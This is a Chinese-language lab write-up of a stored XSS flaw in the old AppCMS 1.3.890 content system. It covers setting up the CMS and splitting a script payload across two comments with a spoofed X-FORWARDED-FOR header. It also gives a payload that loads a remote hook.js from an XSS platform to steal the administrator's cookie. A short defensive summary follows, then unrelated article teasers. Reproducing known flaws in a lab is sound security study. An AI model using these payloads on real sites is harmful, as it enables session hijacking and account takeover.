Appcms存储型XSS漏洞复现
君衍.
- 一、环境介绍
- 二、环境部署
- 三、测试回显
- 四、多次注入
- 1、第一条评论
- 2、第二条评论
- 3、管理员登录查看
- 五、编写脚本获取cookie
一、环境介绍
这里需要注意,我没有找到原有的该环境源码包,因为这个是很久前的漏洞了,在XSS学习中可以查看下该漏洞,存储型XSS。准确的版本应该是2以下的,appcms1.3.890
肯定存在该漏洞,可以进行复现。
这里很多文章都没有提及,也让我找了好久,害 (原源码包不好找)
当然,这里我们也是有机会使用别的版本进行复现的,那就是直接到数据库中改······
这也是没办法中的办法,源码可以在github中搜索,appcms进行下载,一般下载都是2版本以上:
所以,我们如果查看源码就会发现之前那个漏洞利用使用到了X-FORWARDED-FOR
标头:
但是在这个版本中其实并没有用到这个请求标头:
所以这里原本使用伪造IP地址,我就要在文中直接进行数据库更改了,但是文中我尽量体现原有版本步骤,其实这里我用的是上方那个版本,使用伪造其实是不成功大的,同时,我也测试过加上这个请求标头,后来发现并不能通过改包实现对IP地址字段的更改,这里我还是在数据库中进行直接更改。
中间件选择使用Nginx以及Apache都行,不影响,数据库也一样。
二、环境部署
首先从github上下载源码,这个一搜appcms即可找到安装包,有个7年前的,一下载,然后解压到小皮的网站根目录下:
下面进行访问该目录,这里使用本机IP地址进行访问,不使用127.0.0.1,因为我们之后要进行抓包改包。
可以看到我这里IP地址为10.107.135.79,然后我们访问:
ip地址/appcms-master
点击开始安装:
点击下一步:
再点击下一步:
这里我们设置当前数据库的密码,从而使该网站连接到数据库,以及管理员的密码。 安全码设置不设置都一样,直接下一步:
可以看到安装完成,然后报错了不用管,不影响我们使用,这里猜测依旧是版本问题,问题不大。
然后我们点击管理首页:
这里说我们要改管理员目录的名称,随便改,我这里改为zy:
然后我们访问这个目录:
正确访问,方便我们之后使用,环境得先搞好,害。登录后即可环境配置完成:
我这里显示有点奇葩,不过问题不大,搞得能用。
三、测试回显
我们想要完成存储型XSS,那肯定是需要写入数据库当中,从而完成注入,所以这里我们使用该网站的评论功能:(找了半天也就这一个能用)
我们点击往下滑即可看到评论:
首先我们可以看到这里可以进行提交内容,同时评论一般情况下肯定在页面上进行显示的,所以我们先提交测试的,观察回显:
这里我们就提交一个注释吧,看能闭合掉不
第一次提交:*/
第二次提交:/*
账户什么随便填,我们主要观察回显的顺序以及内容:
点击提交:
再次提交第二个测试:
点击提交:
提交之后我们查看源码:
这里我们可以看到并没有完成闭合,但是评论回显是倒序出现的,同时中间夹着我们本机的IP地址,这个IP我们是否可以进行利用,从而配合我们的评论完成XSS注入。其实是可以的,这里我们需要用到X-FORWARDED-FOR
来进行HTTP请求端真实IP伪造,通过这个字段将IP地址进行伪造为我们使用的payload。
思路确定了,我们使用多次注入的方式,同测试一样完成我们的闭合,即:
正常payload:
<script>alert(11111)</script>
达成的效果(将中间的代码注释掉):
<script>/**/alert(11111)/**/</script>
多次注入:
<script>/**/alert(11111)/**/</script>
将payload多次拆分,使用两条留言完成注入:
第一次:
内容:*/alert(11111)
IP伪造为:X-FORWARDED-FOR: */</script>
第二次:
内容:随意都行
IP伪造为:X-FORWARDED-FOR: <script>/*
四、多次注入
我们上面分析了注入思路,下面我们开始注入:
1、第一条评论
内容:*/alert(11111)
然后使用Burp进行抓包改包(伪造IP):
可以看到这里成功抓到,然后我们添加标头:
X-FORWARDED-FOR: */</script>
然后放通,即可看到留言成功:
当然,我们也可以在数据库中找到:
可以看到这里已经成功留言了:
2、第二条评论
第二次留言我们只需将其IP进行伪造就成:
X-FORWARDED-FOR: <script>/*
添加标头来伪造IP:
然后点击放通:
即可留言成功,观察数据库得:
3、管理员登录查看
这里准备工作已经做完了,我们只需要登录管理员账户查看评论管理即可:
查看评论管理:
很明显可以看到这里进行了弹窗,点击确定查看评论:
我们可以看到这里没有了zy3得评论,同时zy4账户IP消失了,这才是正确的界面,其他文章在此或多或少有错误。这里我们查看源码便可知道原因:
这里便可看到我们输入的第一条留言被注释掉了,所以无法显示。
五、编写脚本获取cookie
var scriptElement = document.createElement('script');
scriptElement.src ='http://172.16.100.1:3000/hook.js';
document.body.appendChild(scriptElement);
我们可以编写一串上面的代码,将远程的JS文件加载到当前页面中,远程JS位于我们的XSS平台,从而获取管理员的cookie。
同样使用上面的方式,多次注入:
第一次:
内容:*/var scriptElement = document.createElement('script');scriptElement.src ='http://172.16.100.1:3000/hook.js';document.body.appendChild(scriptElement);/*
IP伪造为:X-FORWARDED-FOR: */</script>
第二次:
内容:随意都行
IP伪造为:X-FORWARDED-FOR: <script>/*
这里便不再演示,我们直接看最后管理员查看评论管理:
我们刷新可以看到这里去请求了我们的XSS平台,所以我们获取到cookie后即可完成登录。
存储型 XSS 攻击就是攻击者通过在网站上存储恶意脚本代码,通常是在数据库中或其他数据存储位置,然后在用户浏览该网站时触发执行这些脚本,从而实现窃取用户敏感信息、劫持用户会话、篡改网页内容等恶意行为。防范存储型 XSS 的关键在于对用户输入进行适当的验证、过滤和转义,来确保用户提供的数据不会被误解为可执行的脚本。
相关文章:

Appcms存储型XSS漏洞复现
君衍. 一、环境介绍二、环境部署三、测试回显四、多次注入1、第一条评论2、第二条评论3、管理员登录查看 五、编写脚本获取cookie 一、环境介绍 这里需要注意,我没有找到原有的该环境源码包,因为这个是很久前的漏洞了,在XSS学习中可以查看下…...

springcloud-alibaba Sentinel入门
Releases alibaba/Sentinel GitHubSentinel下载官方 在cmd 里面运行 启动命令 java -jar sentinel-dashboard-1.8.6.jar 启动成功前提 java环境 ,已经注册到服务注册中心,8080端口没有被占用 启动后访问地址为 qhttp://localhost:8080http://lo…...

Linux系统——web服务拓展练习
目录 一、实验环境搭建 1. Centos 7-5——Client 2. Centos 7-1——网关服务器 3. Centos 7-2——Web1 4. Centos 7-3——Web2 5. Centos 7-4——Nginx 二、在Nginx服务器上搭建LNMP服务,并且能够对外提供Discuz论坛服务;在Web1、Web2服务器上搭建…...

SQLite3中的callback回调函数注意的细节
调用 sqlite3_exec(sqlite3*, const char *sql, sqlite_callback, void *data, char **errmsg)该例程提供了一个执行 SQL 命令的快捷方式, SQL 命令由 sql 参数提供,可以由多个 SQL 命令组成。 在这里, 第一个参数 sqlite3 是打开的数据库对…...

2024华北医院信息网络大会最新演讲嘉宾
大会背景 近年来,我国医疗行业信息化取得了飞跃式的发展,医疗信息化对医疗行业有着重要的支撑作用。2021年国家卫健委、中医药管理局联合印发《公立医院高质量发展促进行动(2021-2025年)》,提出重点建设“三位一体…...

指数移动平均(EMA)
文章目录 前言EMA的定义在深度学习中的应用PyTorch代码实现yolov5中模型的EMA实现 参考 前言 在深度学习中,经常会使用EMA(指数移动平均)这个方法对模型的参数做平均,以求提高测试指标并增加模型鲁棒。实际上,_EMA可以…...
无线表格识别模型LORE转换库:ConvertLOREToONNX
引言 总有小伙伴问到阿里的无线表格识别模型是如何转换为ONNX格式的。这个说来有些惭愧,现有的ONNX模型是很久之前转换的了,转换环境已经丢失,且没有做任何笔记。 今天下定决心再次尝试转换,庆幸的是转换成功了。于是有了转换笔…...

C# 视频转图片
在 C# 中将视频转换为图像可以使用 FFmpeg 库。下面是一个示例代码来完成这个任务: using System; using System.Diagnostics;class Program {static void Main(string[] args){string inputFile "input_video.mp4"; // 输入的视频文件路径string outpu…...

LINUX ADC使用
监测 ADC ,使用CAT 查看: LINUX ADC基本使用 &adc {pinctrl-names "default";pinctrl-0 <&adc6>;pinctrl-1 <&adc7>;pinctrl-2 <&adc8>;pinctrl-3 <&adc9>;pinctrl-4 <&adc10>;pinctrl-5 …...

Ubuntu 基本操作-嵌入式 Linux 入门
在 Ubuntu 基本操作 里面基本就分为两部分: 安装 VMware 运行 Ubuntu熟悉 Ubuntu 的各种操作、命令 如果你对 Ubuntu 比较熟悉的话,安装完 VMware 运行 Ubuntu 之后就可以来学习下一章节了。 1. 安装 VMware 运行 Ubuntu 我们首先来看看怎么去安装 V…...
Pytorch可形变卷积分类模型与可视化
E:. │ archs.py │ dataset.py │ deform_conv_v2.py │ train.py │ utils.py │ visual_net.py │ ├─grad_cam │ 2.png │ 3.png │ ├─image │ ├─1 │ │ 154.png │ │ 2.png │ │ │ ├─2 │ │ 143.png │…...
Mysql 表逻辑分区原理和应用
MySQL的表逻辑分区是一种数据库设计技术,它允许将一个表的数据分布在多个物理分区中,但在逻辑上仍然表现为一个单一的表。这种方式可以提高查询性能、简化数据管理,并有助于高效地进行大数据量的存储和访问。逻辑分区基于特定的规则ÿ…...

架构面试题汇总:网络协议34问(七)
码到三十五 : 个人主页 心中有诗画,指尖舞代码,目光览世界,步履越千山,人间尽值得 ! 网络协议是实现各种设备和应用程序之间顺畅通信的基石。无论是构建分布式系统、开发Web应用,还是进行网络通信&#x…...

lida,一个超级厉害的 Python 库!
目录 前言 什么是 lida 库? lida 库的安装 基本功能 1. 文本分词 2. 词性标注 3. 命名实体识别 高级功能 1. 情感分析 2. 关键词提取 实际应用场景 1. 文本分类 2. 情感分析 3. 实体识别 总结 前言 大家好,今天为大家分享一个超级厉害的 Python …...
K好数 C语言 蓝桥杯算法提升ALGO3 一个自然数N的K进制表示中任意的相邻的两位都不是相邻的数字
问题描述 如果一个自然数N的K进制表示中任意的相邻的两位都不是相邻的数字,那么我们就说这个数是K好数。求L位K进制数中K好数的数目。例如K 4,L 2的时候,所有K好数为11、13、20、22、30、31、33 共7个。由于这个数目很大,请你输…...

2195. 深海机器人问题(网络流,费用流,上下界可行流,网格图模型)
活动 - AcWing 深海资源考察探险队的潜艇将到达深海的海底进行科学考察。 潜艇内有多个深海机器人。 潜艇到达深海海底后,深海机器人将离开潜艇向预定目标移动。 深海机器人在移动中还必须沿途采集海底生物标本。 沿途生物标本由最先遇到它的深海机器人完成采…...
Vue/cli项目全局css使用
第一步:创建css文件 在合适的位置创建好css文件,文件可以是sass/less/stylus...第二步:响预处理器loader传递选项 //摘自官网,引入样式 // vue.config.js module.exports {css: {loaderOptions: {// 给 sass-loader 传递选项sa…...

【自然语言处理】【大模型】BitNet:用1-bit Transformer训练LLM
BitNet:用1-bit Transformer训练LLM 《BitNet: Scaling 1-bit Transformers for Large Language Models》 论文地址:https://arxiv.org/pdf/2310.11453.pdf 相关博客 【自然语言处理】【大模型】BitNet:用1-bit Transformer训练LLM 【自然语言…...

安装及管理docker
文章目录 1.Docker介绍2.Docker安装3.免sudo设置4. 使用docker命令5.Images6.运行docker容器7. 管理docker容器8.创建image9.Push Image 1.Docker介绍 Docker 是一个简化在容器中管理应用程序进程的应用程序。容器让你在资源隔离的进程中运行你的应用程序。类似于虚拟机&#…...

【MySQL】表的增删改查——MySQL基本查询、数据库表的创建、表的读取、表的更新、表的删除
文章目录 MySQL表的增删查改1. Create(创建)1.1 单行插入1.2 多行插入1.3 替换 2. Retrieve(读取)2.1 select查看2.2 where条件2.3 结果排序2.4 筛选分页结果 3. Update(更新)3.1 更新单个数据3.2 更新多个…...

使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式
一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明:假设每台服务器已…...

第19节 Node.js Express 框架
Express 是一个为Node.js设计的web开发框架,它基于nodejs平台。 Express 简介 Express是一个简洁而灵活的node.js Web应用框架, 提供了一系列强大特性帮助你创建各种Web应用,和丰富的HTTP工具。 使用Express可以快速地搭建一个完整功能的网站。 Expre…...
三维GIS开发cesium智慧地铁教程(5)Cesium相机控制
一、环境搭建 <script src"../cesium1.99/Build/Cesium/Cesium.js"></script> <link rel"stylesheet" href"../cesium1.99/Build/Cesium/Widgets/widgets.css"> 关键配置点: 路径验证:确保相对路径.…...
Java - Mysql数据类型对应
Mysql数据类型java数据类型备注整型INT/INTEGERint / java.lang.Integer–BIGINTlong/java.lang.Long–––浮点型FLOATfloat/java.lang.FloatDOUBLEdouble/java.lang.Double–DECIMAL/NUMERICjava.math.BigDecimal字符串型CHARjava.lang.String固定长度字符串VARCHARjava.lang…...

dify打造数据可视化图表
一、概述 在日常工作和学习中,我们经常需要和数据打交道。无论是分析报告、项目展示,还是简单的数据洞察,一个清晰直观的图表,往往能胜过千言万语。 一款能让数据可视化变得超级简单的 MCP Server,由蚂蚁集团 AntV 团队…...

九天毕昇深度学习平台 | 如何安装库?
pip install 库名 -i https://pypi.tuna.tsinghua.edu.cn/simple --user 举个例子: 报错 ModuleNotFoundError: No module named torch 那么我需要安装 torch pip install torch -i https://pypi.tuna.tsinghua.edu.cn/simple --user pip install 库名&#x…...

面向无人机海岸带生态系统监测的语义分割基准数据集
描述:海岸带生态系统的监测是维护生态平衡和可持续发展的重要任务。语义分割技术在遥感影像中的应用为海岸带生态系统的精准监测提供了有效手段。然而,目前该领域仍面临一个挑战,即缺乏公开的专门面向海岸带生态系统的语义分割基准数据集。受…...

wpf在image控件上快速显示内存图像
wpf在image控件上快速显示内存图像https://www.cnblogs.com/haodafeng/p/10431387.html 如果你在寻找能够快速在image控件刷新大图像(比如分辨率3000*3000的图像)的办法,尤其是想把内存中的裸数据(只有图像的数据,不包…...

数学建模-滑翔伞伞翼面积的设计,运动状态计算和优化 !
我们考虑滑翔伞的伞翼面积设计问题以及运动状态描述。滑翔伞的性能主要取决于伞翼面积、气动特性以及飞行员的重量。我们的目标是建立数学模型来描述滑翔伞的运动状态,并优化伞翼面积的设计。 一、问题分析 滑翔伞在飞行过程中受到重力、升力和阻力的作用。升力和阻力与伞翼面…...
DiscuzX3.5发帖json api
参考文章:PHP实现独立Discuz站外发帖(直连操作数据库)_discuz 发帖api-CSDN博客 简单改造了一下,适配我自己的需求 有一个站点存在多个采集站,我想通过主站拿标题,采集站拿内容 使用到的sql如下 CREATE TABLE pre_forum_post_…...